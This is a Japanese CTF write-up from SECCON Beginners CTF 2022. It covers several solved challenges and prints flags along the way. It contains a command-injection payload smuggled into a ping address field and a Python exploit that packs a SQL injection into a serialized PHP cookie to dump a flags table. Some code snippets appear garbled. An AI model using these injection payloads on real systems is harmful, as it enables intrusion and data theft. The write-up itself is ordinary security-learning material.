SECCON Beginners CTF 2022 自分で解いたところだけwrite-up
Kaimin Kingdom ci7lus.icon /rinsuki/rinsuki.icon /otofune/otofune.icon /rokoucha/rokoucha.iconで参加して26位(1798pt)でした!
https://gyazo.com/674e7f022b62e4274891db3d94192a2chttps://gyazo.com/49d4bdb619165bbe200b76020008191a
解けた分だけwrite-up書くます。
他メンバーwrite-up
reversing.quiz
バイナリに書いてある
https://gyazo.com/4250711782d3fda4242402a03f6d9c82
code:flag
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
web.util
main.goを見ると特にバリデーションせずにexecしてそうなので
code:webutil
-H 'Content-Type: application/json; charset=utf-8' \
-d $'{
"address": "172.0.0.1;cat /flag_*.txt;"
}'
code:res
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Sat, 04 Jun 2022 05:15:56 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 180
Connection: close
{"result":"PING 172.0.0.1 (172.0.0.1): 56 data bytes\n\n--- 172.0.0.1 ping statistics ---\n1 packets transmitted, 0 packets received, 100% packet loss\nctf4b{al1_0vers_4re_i1l}\n"}
code:flag
nctf4b{al1_0vers_4re_i1l}
127...もいらんかったかなこれ
crypto.CoughingFox
えーこれシャッフルされてんのにどう戻すんだとなったが、変なindexでchrするとfloatになるということはindex実は一意?となってfloat.is_integer -> Trueのindexを全部探した
code:py
import math
flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"
cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649,
15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]
result = for _ in range(len(cipher))
for i in range(len(cipher)):
# c = (f + i)**2 + i
for j in range(len(cipher)):
c = math.sqrt((f - j)) - j
if float.is_integer(c):
break
# shuffle(cipher)
print("cipher =", "".join(result))
code:flag
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
misc.h2
https://gyazo.com/90c9d16680b41c3553c3e6694912999c
pcapにふつーにかいてあった…
web.serial
/rinsuki/rinsuki.icon なんか base64_decode して unserialize してるのでそのへんが怪しい気がする!あとは任せた
というヒントをもらって、周辺を探してたら露骨なSQLインジェクションポイントがあったのでそこから攻めた。database.phpでCookieからユーザー判別するときに絶対呼ばれるようになっている。
code:php
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);
if (!$result) {
よってCREDの中身を書き換えてPOSTするのを書いた。
code:py
from pprint import pprint
import base64
import requests
inject = "a' UNION ALL SELECT 9999,body,'$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6' from flags ORDER BY id ASC;#"
payload = 'O:4:"User":3:{s:2:"id";s:2:"12";s:4:"name";s:' + str(len(
inject)) + ':"' + inject + '";s:13:"password_hash";s:60:"$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6";}'
headers={"cookie": "__CRED=" +
base64.b64encode(payload.encode()).decode()},
data={"body": "todo"},
allow_redirects=False
)
pprint(r.text)
pprint(r.headers)
sql statementが2つ以上になると認識しないので、動かせない部分のSELECTからUNION SELECTでつないでソートした。
password_hashはそれっぽい文字列じゃないと通らなかったのでコピってある。
SQLは実行できないという結果しか帰らないので、ローカル検証必要だなと思ってdocker-compose upしたら、arm64だからmysql:5.7がローカルに立たなくてmariadbにしたけど特に問題はなかった。
code:headers
{'Server': 'nginx/1.21.6', 'Date': 'Sat, 04 Jun 2022 10:51:15 GMT', 'Content-Type': 'text/html; charset=UTF-8', 'Content-Length': '0', 'Connection': 'keep-alive', 'Set-Cookie': '__CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6Ijk5OTkiO3M6NDoibmFtZSI7czo0MzoiY3RmNGJ7U2VyMTRsaXo0dDEwbl8xNV92MXJ0dWFsbHlfcGw0MW50ZXh0fSI7czoxMzoicGFzc3dvcmRfaGFzaCI7czo2MDoiJDJ5JDEwJENVaHRQTERzVjk4TWk0c0ZyZkVjbE83Vkswd25hOUgvbnhOOXpkMnBCNWJFZUV0cmlzVnQ2Ijt9', 'Location': '/'}
code:cred
O:4:"User":3:{s:2:"id";s:4:"9999";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$CUhtPLDsV98Mi4sFrfEclO7VK0wna9H/nxN9zd2pB5bEeEtrisVt6";}
code:flag
ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}
感想
多分CTFイベントにまともに参加するのは初めて?なんですがとても楽しかったです。
序盤は1人チームとして参加してたので解けそうなの全部解いちゃって、解いた問題の難易度バランスが微妙になっちゃったのが微妙に申し訳なかった。難しい問題は/rinsuki/rinsuki.icon /otofune/otofune.iconが無双してたのがすごかった。
pwnとrevは検討もつかず1問も解けなかったのが悔しかったです。あとM1(aarch64)はまだCTFに向いてないですね。pwntoolsが結局最後まで入らなくて困ってしまった。 チーム名のKaiminは魔王城でおやすみのカイミーン王国から取ってるんですが、スヤリス姫の名前が各所表記でKayminとKaiminで割れてるっぽくて、適当にコピペしたらチーム名とリーダーの名前がずれてしまいました。浅い。 運営の方々ありがとうございました!
https://www.youtube.com/watch?v=jF97ERTceV8
スヤァ〜